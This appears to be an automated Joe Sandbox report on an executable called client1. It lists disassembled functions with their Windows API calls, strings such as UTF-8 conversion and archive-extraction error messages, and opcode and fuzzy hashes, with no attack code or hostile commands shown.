Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 2abf96d7e756ec95747b6225775113f5ca3bbb9c1d9d148edce5ba3104c9dbe9
Instruction ID: 1fb5cea2d22745308a5aad75a2ecaaeb968f502ae9f829d35afa07a1d340ab56
Opcode Fuzzy Hash: 2abf96d7e756ec95747b6225775113f5ca3bbb9c1d9d148edce5ba3104c9dbe9
Instruction Fuzzy Hash: 2D5106266187E186E634AF32A4581FAF7A2F798B65F004121EFDE83684DF3CD045DB20

Function 00007FF79F630228 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F630268
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F630630
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F6308CF

Strings

f, xrefs: 00007FF79F6304B5
f, xrefs: 00007FF79F630300
p, xrefs: 00007FF79F63030D
p, xrefs: 00007FF79F630372
f, xrefs: 00007FF79F63036A

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: 864902cbb2e935f55fbb0b0f358a3d1305b233c90ffe52d12db1516ed6b7c985
Instruction ID: 3ec97ae38e25c2ae4738682ddf7c8afc54605f162cdf39b16da1d5dd63216689
Opcode Fuzzy Hash: 864902cbb2e935f55fbb0b0f358a3d1305b233c90ffe52d12db1516ed6b7c985
Instruction Fuzzy Hash: 3A129661E0C3C396FB30BA24E1542FEF69BEB80758FD44035D6A9465C9DBBCE5488B60

Function 00007FF79F6212B0 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 106COMMON

Download Yara Rule

Strings

fread, xrefs: 00007FF79F6213E9
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF79F621312
fseek, xrefs: 00007FF79F621319
malloc, xrefs: 00007FF79F621353
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF79F62134C
Failed to extract %s: failed to open archive file!, xrefs: 00007FF79F6212E2
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF79F6213E2

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: c48cb496368e60cd6cc9da65db67046a9100ebb4916df9b08028bbbb2119c3d9
Instruction ID: 5127a553522058f030d11232e604bcacd8dff4058a98ad03220e3a6ef4e4d023
Opcode Fuzzy Hash: c48cb496368e60cd6cc9da65db67046a9100ebb4916df9b08028bbbb2119c3d9
Instruction Fuzzy Hash: 76416121B0D7C281EE34FB25E8402E9E3AAFB44794FD44431DE6D87A55EE3CE5418311

Function 00007FF79F62DC30 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF79F62DC8D

Part of subcall function 00007FF79F62EBA0: __GetUnwindTryBlock.LIBCMT ref: 00007FF79F62EBE3
Part of subcall function 00007FF79F62EBA0: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF79F62EC08

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF79F62DD65
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF79F62DFBA
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF79F62E0C6

Strings

csm, xrefs: 00007FF79F62DCA7
csm, xrefs: 00007FF79F62DD88
csm, xrefs: 00007FF79F62DD0E

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 64a04dea20eab758f09741b49381e36ae6aa3d4dbdf263ead872da10faeebcc4
Instruction ID: d469534b6d766c56f50ee888696afe158bf8c955f0a15cc318a51780828034a7
Opcode Fuzzy Hash: 64a04dea20eab758f09741b49381e36ae6aa3d4dbdf263ead872da10faeebcc4
Instruction Fuzzy Hash: 5BE1B372A0878186EB30AF35D8402EDB7A9FB54798F900535EE9D87B95CF38E091C752

Function 00007FF79F63DDB8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,00000000,?,00007FF79F63E152,?,?,00000262AABC6A48,00007FF79F63A223,?,?,?,00007FF79F63A11A,?,?,?,00007FF79F635472), ref: 00007FF79F63DF34
GetProcAddress.KERNEL32(?,00000000,?,00007FF79F63E152,?,?,00000262AABC6A48,00007FF79F63A223,?,?,?,00007FF79F63A11A,?,?,?,00007FF79F635472), ref: 00007FF79F63DF40

Strings

api-ms-, xrefs: 00007FF79F63DE7E
ext-ms-, xrefs: 00007FF79F63DE91

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 01869d8b0b1ae08ce046380e8c955ca032c286979885a37836ee5a28d8bde6d1
Instruction ID: c546f838c425362f3399e95c05d1f801b7d962b554382e889ded803afc47e86f
Opcode Fuzzy Hash: 01869d8b0b1ae08ce046380e8c955ca032c286979885a37836ee5a28d8bde6d1
Instruction Fuzzy Hash: AF412321B19B9681FA32BB32AC005F5A69BBF14BA0F894235DD2D47788DE7CF405C220

Function 00007FF79F627600 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF79F62101D), ref: 00007FF79F62769F
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF79F62101D), ref: 00007FF79F6276EF

Strings

Out of memory., xrefs: 00007FF79F627721
Failed to get UTF-8 buffer size., xrefs: 00007FF79F627731
Failed to encode wchar_t as UTF-8., xrefs: 00007FF79F627718
WideCharToMultiByte, xrefs: 00007FF79F627738
win32_utils_to_utf8, xrefs: 00007FF79F627728

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 626452242-27947307
Opcode ID: ff563fd808d69f35f83569dbbc19b7f1e21c5d08308d418d8919d0e7ff1619ab
Instruction ID: 33d6bd8a595d56ce9ed342310b45cadffa52998b593ac2e599da2ee738bada72
Opcode Fuzzy Hash: ff563fd808d69f35f83569dbbc19b7f1e21c5d08308d418d8919d0e7ff1619ab
Instruction Fuzzy Hash: BB414F32A08BC286DA30EF25B8405EAE7AAFB84790F944135DEAD87B95DF7CD451C710

Function 00007FF79F627B40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 63COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00007FF79F623699), ref: 00007FF79F627B81

Part of subcall function 00007FF79F622620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF79F627744,?,?,?,?,?,?,?,?,?,?,?,00007FF79F62101D), ref: 00007FF79F622654
Part of subcall function 00007FF79F622620: MessageBoxW.USER32 ref: 00007FF79F62272C

WideCharToMultiByte.KERNEL32(?,00007FF79F623699), ref: 00007FF79F627BF5

Strings

Out of memory., xrefs: 00007FF79F627BBB
Failed to get UTF-8 buffer size., xrefs: 00007FF79F627B8E
Failed to encode wchar_t as UTF-8., xrefs: 00007FF79F627BFF
WideCharToMultiByte, xrefs: 00007FF79F627B95, 00007FF79F627C06
win32_utils_to_utf8, xrefs: 00007FF79F627BC2

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 3723044601-27947307
Opcode ID: aced5f46d53ba3e30c592e5434d0d7ab1f54160dd14b943fd141642a19c75b6b
Instruction ID: 1e8ce1385f1be308a713286a7656a1a1fe8cec77417bdd035004f334b6dd1b24
Opcode Fuzzy Hash: aced5f46d53ba3e30c592e5434d0d7ab1f54160dd14b943fd141642a19c75b6b
Instruction Fuzzy Hash: 0D215E71B08B8285EB20BF35AC400F9B66ABB84B90F944535DA6D83754EF7CE5518321

Function 00007FF79F639264 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F6392A7
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F639694
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F639930

Strings

f, xrefs: 00007FF79F6393C9
p, xrefs: 00007FF79F6393D1
p, xrefs: 00007FF79F639359

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: 8b43f30c9b627f105c9440690760d813b6cbc2015482011a3dd154e3df4de9b0
Instruction ID: ed817100ff1da9d17aa66b1a47bd593b9df385f9632904351ed2d35c52c4c5df
Opcode Fuzzy Hash: 8b43f30c9b627f105c9440690760d813b6cbc2015482011a3dd154e3df4de9b0
Instruction Fuzzy Hash: 3C127261E0D3D346FB347A35D0542FAF6ABEB82754FC84035D6A9466C8DABCE5809F20

Function 00007FF79F627C30 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF79F627CC5
MultiByteToWideChar.KERNEL32 ref: 00007FF79F627D07

Strings

Out of memory., xrefs: 00007FF79F627D36
Failed to decode wchar_t from UTF-8, xrefs: 00007FF79F627D2D
Failed to get wchar_t buffer size., xrefs: 00007FF79F627D46
MultiByteToWideChar, xrefs: 00007FF79F627D4D
win32_utils_from_utf8, xrefs: 00007FF79F627D3D

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 626452242-876015163
Opcode ID: 290b57ca8453ae885af3ff2fc0035437ec55c1325ab119fe22c2f927501d8716
Instruction ID: 55a2a91df314643ba3e8a6174a936a3bd340f2ea85152a7226c0593ebf60e84f
Opcode Fuzzy Hash: 290b57ca8453ae885af3ff2fc0035437ec55c1325ab119fe22c2f927501d8716
Instruction Fuzzy Hash: 12416232A08B8286E630FF35A8405F9E7AAFB44790F945235DA6D87BA4DF3CD452C711

Function 00007FF79F62CEE8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF79F62D19A,?,?,?,00007FF79F62CE8C,?,?,00000001,00007FF79F62CAA9), ref: 00007FF79F62CF6D
GetLastError.KERNEL32(?,?,?,00007FF79F62D19A,?,?,?,00007FF79F62CE8C,?,?,00000001,00007FF79F62CAA9), ref: 00007FF79F62CF7B
LoadLibraryExW.KERNEL32(?,?,?,00007FF79F62D19A,?,?,?,00007FF79F62CE8C,?,?,00000001,00007FF79F62CAA9), ref: 00007FF79F62CFA5
FreeLibrary.KERNEL32(?,?,?,00007FF79F62D19A,?,?,?,00007FF79F62CE8C,?,?,00000001,00007FF79F62CAA9), ref: 00007FF79F62CFEB
GetProcAddress.KERNEL32(?,?,?,00007FF79F62D19A,?,?,?,00007FF79F62CE8C,?,?,00000001,00007FF79F62CAA9), ref: 00007FF79F62CFF7

Strings

api-ms-, xrefs: 00007FF79F62CF8D

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 46f8882ba5516ded8d0f67aa9085a497a0d646e74245b223b6bb25c85e55adca
Instruction ID: d7c5080cdd8f26468dbd7bdde6db1f1dbefc9b6bdc914f9bdde3b44db8140bda
Opcode Fuzzy Hash: 46f8882ba5516ded8d0f67aa9085a497a0d646e74245b223b6bb25c85e55adca
Instruction Fuzzy Hash: E131A121A1A78291FE71BF22AC005F5A2AAFF08BB4F994535DD2D87390DF3CE5458721

Function 00007FF79F626480 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79F627A30: MultiByteToWideChar.KERNEL32 ref: 00007FF79F627A6A

ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF79F6267CF,?,00000000,?,TokenIntegrityLevel), ref: 00007FF79F6264DF

Part of subcall function 00007FF79F622770: MessageBoxW.USER32 ref: 00007FF79F622841

Strings

LOADER: Failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF79F6264F3
LOADER: Failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF79F62653A
LOADER: Failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF79F6264B6

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: LOADER: Failed to convert runtime-tmpdir to a wide string.$LOADER: Failed to expand environment variables in the runtime-tmpdir.$LOADER: Failed to obtain the absolute path of the runtime-tmpdir.
API String ID: 1662231829-3498232454
Opcode ID: e82e75a9301f2c01be817318613aadd6cb56ce3046e43f6970fb0f78f3b425c1
Instruction ID: 10210cae02a5da7580aa32472d1a66e78c26cbe670e770a5c560e5b427f1dcde
Opcode Fuzzy Hash: e82e75a9301f2c01be817318613aadd6cb56ce3046e43f6970fb0f78f3b425c1
Instruction Fuzzy Hash: 9E315E11B187C240FA30BB31E9552FAD25AAF98784FC40431DA6E96BDAEE2DE5048721

Function 00007FF79F627A30 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF79F627A6A

Part of subcall function 00007FF79F622620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF79F627744,?,?,?,?,?,?,?,?,?,?,?,00007FF79F62101D), ref: 00007FF79F622654
Part of subcall function 00007FF79F622620: MessageBoxW.USER32 ref: 00007FF79F62272C

MultiByteToWideChar.KERNEL32 ref: 00007FF79F627AF0

Strings

Out of memory., xrefs: 00007FF79F627AB2
Failed to decode wchar_t from UTF-8, xrefs: 00007FF79F627AFA
Failed to get wchar_t buffer size., xrefs: 00007FF79F627A77
MultiByteToWideChar, xrefs: 00007FF79F627A7E, 00007FF79F627B01
win32_utils_from_utf8, xrefs: 00007FF79F627AB9

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 3723044601-876015163
Opcode ID: a067ef3949ab1c43b8cad70a8c207a907739284b21da8d2c9820fdf83144c31f
Instruction ID: 9f2e00563ab7892172867902b63dd349e0876b4b8af7bc4b5835a1d096cd09be
Opcode Fuzzy Hash: a067ef3949ab1c43b8cad70a8c207a907739284b21da8d2c9820fdf83144c31f
Instruction Fuzzy Hash: 77214422B08B8281EB60FB35F8400E9E366FF85794F944531DB6C93BA9EF2DD5418710

Function 00007FF79F63A620 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F,?,?,?,00007FF79F639313), ref: 00007FF79F63A62F
FlsGetValue.KERNEL32(?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F,?,?,?,00007FF79F639313), ref: 00007FF79F63A644
FlsSetValue.KERNEL32(?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F,?,?,?,00007FF79F639313), ref: 00007FF79F63A665
FlsSetValue.KERNEL32(?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F,?,?,?,00007FF79F639313), ref: 00007FF79F63A692
FlsSetValue.KERNEL32(?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F,?,?,?,00007FF79F639313), ref: 00007FF79F63A6A3
FlsSetValue.KERNEL32(?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F,?,?,?,00007FF79F639313), ref: 00007FF79F63A6B4
SetLastError.KERNEL32(?,?,?,00007FF79F642433,?,?,?,00007FF79F63CB8C,?,?,00000000,00007FF79F633A5F,?,?,?,00007FF79F639313), ref: 00007FF79F63A6CF

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 6fa1fab48d66e1463309dc109adf4585d75bfd82a6fbadce2d7c74c597cc3b40
Instruction ID: 7d43b17c794f12c4ac64cc17aac40b9b2e6bd3271b368f03124712aa789b55af
Opcode Fuzzy Hash: 6fa1fab48d66e1463309dc109adf4585d75bfd82a6fbadce2d7c74c597cc3b40
Instruction Fuzzy Hash: 8E213824E0C7D242FA78B73156511FAE24B5F56BB0F840734E83E07AD6DEADB400A630

Function 00007FF79F64706C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF79F64709D
GetLastError.KERNEL32 ref: 00007FF79F6470A9
CloseHandle.KERNEL32 ref: 00007FF79F6470C1
CreateFileW.KERNEL32 ref: 00007FF79F6470EC
WriteConsoleW.KERNEL32 ref: 00007FF79F64710B

Strings

CONOUT$, xrefs: 00007FF79F6470CD

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 1a41989b306c04176fbb8ce5d038fb17b2eb18ca34d01c5ff4cda60dd112554e
Instruction ID: 810f57fa96b3e569063fe0804fcb4f4afbcab54fabd34b9d9e30289ec406c851
Opcode Fuzzy Hash: 1a41989b306c04176fbb8ce5d038fb17b2eb18ca34d01c5ff4cda60dd112554e
Instruction Fuzzy Hash: D9118421718B8286F760BB22E854369B7AAFB58FE4F840234D96D87794CF3CD404C750

Function 00007FF79F63A798 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF79F63444D,?,?,?,?,00007FF79F63DDA7,?,?,00000000,00007FF79F63A8B6,?,?,?), ref: 00007FF79F63A7A7
FlsSetValue.KERNEL32(?,?,?,00007FF79F63444D,?,?,?,?,00007FF79F63DDA7,?,?,00000000,00007FF79F63A8B6,?,?,?), ref: 00007FF79F63A7DD
FlsSetValue.KERNEL32(?,?,?,00007FF79F63444D,?,?,?,?,00007FF79F63DDA7,?,?,00000000,00007FF79F63A8B6,?,?,?), ref: 00007FF79F63A80A
FlsSetValue.KERNEL32(?,?,?,00007FF79F63444D,?,?,?,?,00007FF79F63DDA7,?,?,00000000,00007FF79F63A8B6,?,?,?), ref: 00007FF79F63A81B
FlsSetValue.KERNEL32(?,?,?,00007FF79F63444D,?,?,?,?,00007FF79F63DDA7,?,?,00000000,00007FF79F63A8B6,?,?,?), ref: 00007FF79F63A82C
SetLastError.KERNEL32(?,?,?,00007FF79F63444D,?,?,?,?,00007FF79F63DDA7,?,?,00000000,00007FF79F63A8B6,?,?,?), ref: 00007FF79F63A847

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

